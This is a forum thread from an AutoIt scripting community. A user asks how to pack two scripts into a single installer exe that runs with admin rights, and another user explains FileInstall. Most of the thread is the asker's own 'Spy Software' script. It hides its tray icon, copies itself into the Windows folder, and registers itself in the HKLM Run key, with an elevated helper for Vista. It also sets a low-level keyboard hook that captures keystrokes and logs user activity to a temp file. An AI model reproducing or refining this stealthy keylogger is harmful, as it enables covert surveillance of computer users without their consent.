Jump to content

how set RequireAdmin with if


Recommended Posts

look, i have two script, one is the main script, and second script is script that write something in regedit.

i want to addition the main script and the second script to one exe file.

so how it should seem?

Edited by Gillboss
Link to comment
Share on other sites

Main script:

FileInstall("RegWriteScript.exe", @TempDir & "\RegWriteScript.exe")
Run(@TempDir & "\RegWriteScript.exe"); or RunAs
; Main code below here

RegWriteScript.exe(compiled):

;Write to whatever u need here..

If you have the RegWriteScript in the same dir as the Main script, then compile the main script, it will be one exe, and the other will be FileInstalled, and run when the main script is run.

Edited by FreeFry
Link to comment
Share on other sites

but dont i need to write the source of RegWriteScript.exe in Main script?

edit:

now work for me:

$source = '#RequireAdmin'&@CRLF&'RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Hello", "REG_SZ", @WindowsDir&"\Hello.exe")'&@CRLF&'Exit'

FileInstall($source, @DesktopDir & "\RegWriteScript.exe")

Run(@DesktopDir & "\RegWriteScript.exe")
Edited by Gillboss
Link to comment
Share on other sites

i think it work good:

main:

#include <File.au3>

Opt("TrayIconHide", 1)


FileCopy(@ScriptDir&"\"&@ScriptName, @WindowsDir&"\Hello.exe")

If RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Hello") = "" Then
    If StringInStr(@OSVersion, "Vista") Then
        FileInstall("RegWriteScript.exe", @TempDir & "\RegWriteScript.exe")
        Run(@TempDir & "\RegWriteScript.exe")
    Else
        RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Hello", "REG_SZ", @WindowsDir&"\Hello.exe")
    EndIf
EndIf



HotKeySet("^!e", "Terminate")  ;    Ctrl-Alt-e
HotKeySet("^!o", "Open")       ;    Ctrl-Alt-o

Global $m1, $m2, $k
Global Const $WH_KEYBOARD_LL = 13
Global $hHook, $pStub_KeyProc
Global $pStub_KeyProc = DllCallbackRegister("_KeyProc", "int", "int;ptr;ptr")
Global $hmod = DllCall("kernel32.dll","hwnd","GetModuleHandle","ptr",0)
Global $hHook = DllCall("user32.dll","hwnd","SetWindowsHookEx","int", _
            $WH_KEYBOARD_LL,"ptr",DllCallbackGetPtr($pStub_KeyProc),"hwnd",$hmod[0],"dword",0)
Global $buffer = ""
$m1 = MouseGetPos()

$file = FileOpen(@TempDir&"\SpySoftware.txt", 1)
FileClose($file)

Func _Mouse()
    $m2 = MouseGetPos()
    If $m1[0] <> $m2[0] Or $m1[1] <> $m2 [1] Then
        $m1 = MouseGetPos()
        Return(1)
    Else
        $m1 = MouseGetPos()
        Return(0)
    EndIf
EndFunc

Func EvaluateKey($keycode)
    $buffer &= Chr($keycode)
EndFunc

Func _KeyProc($nCode, $wParam, $lParam)
    Local $ret,$KEYHOOKSTRUCT
    If $nCode < 0 Then
        $ret = DllCall("user32.dll","long","CallNextHookEx","hwnd",$hHook[0], _
                        "int",$nCode,"ptr",$wParam,"ptr",$lParam)
        Return $ret[0]
    EndIf
    If $wparam = 256 Then
        $KEYHOOKSTRUCT = DllStructCreate("dword;dword;dword;dword;ptr",$lParam)
        EvaluateKey(DllStructGetData($KEYHOOKSTRUCT,1))
    EndIf
    $ret = DllCall("user32.dll","long","CallNextHookEx","hwnd",$hHook[0], _
                    "int",$nCode,"ptr",$wParam,"ptr",$lParam)
    Return $ret[0]
EndFunc

Func Open()
    ShellExecute(@TempDir&"\SpySoftware.txt")
EndFunc

Func OnAutoItExit()
    DllCall("user32.dll","int","UnhookWindowsHookEx","hwnd",$hHook[0])
EndFunc

Func Terminate()
    $msg = MsgBox(0x24, "Spy Software", "Spy Software is exit now"&@CRLF&"Do you want set off Spy Software in startup list?")
    If $msg = 6 Then RegDelete("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "SpySoftware")
    DllCall("user32.dll","int","UnhookWindowsHookEx","hwnd",$hHook[0])
    Exit
EndFunc

$begin = TimerInit()
While 1
    $dif = TimerDiff($begin)
    If $dif >= 300000 Then
        $begin = TimerInit()
        $a = _Mouse()
        If $a = 1 Or $buffer <> "" Then
            $file = FileOpen(@TempDir&"\SpySoftware.txt", 1)
            If $file <> -1 Then
                If @WDAY = 1 Then $day = "Sunday"
                If @WDAY = 2 Then $day = "Monday"
                If @WDAY = 3 Then $day = "Tuesday"
                If @WDAY = 4 Then $day = "Wednesday"
                If @WDAY = 5 Then $day = "Thursday"
                If @WDAY = 6 Then $day = "Friday"
                If @WDAY = 7 Then $day = "Saturday"
                $count = _FileCountLines(@TempDir&"\SpySoftware.txt")
                $string = FileReadLine(@TempDir&"\SpySoftware.txt", $count)
                $len = StringLen($string)
                $string = StringRight($string, $len - 38)
                If $string <> "" And $string <> @MDAY&"/"&@MON&"/"&@YEAR Then FileWrite($file, @CRLF) 
                FileWrite($file, "User active at: "&@HOUR&":"&@MIN&", day: "&$day&" in "&@MDAY&"/"&@MON&"/"&@YEAR&@CRLF)
            EndIf
            FileClose($file)
        EndIf
        $buffer = ""
    EndIf
    Sleep(10)
WEnd

thanks!

edit: no good, i need it will be in one file..

i just want to know how make installation file..

Edited by Gillboss
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...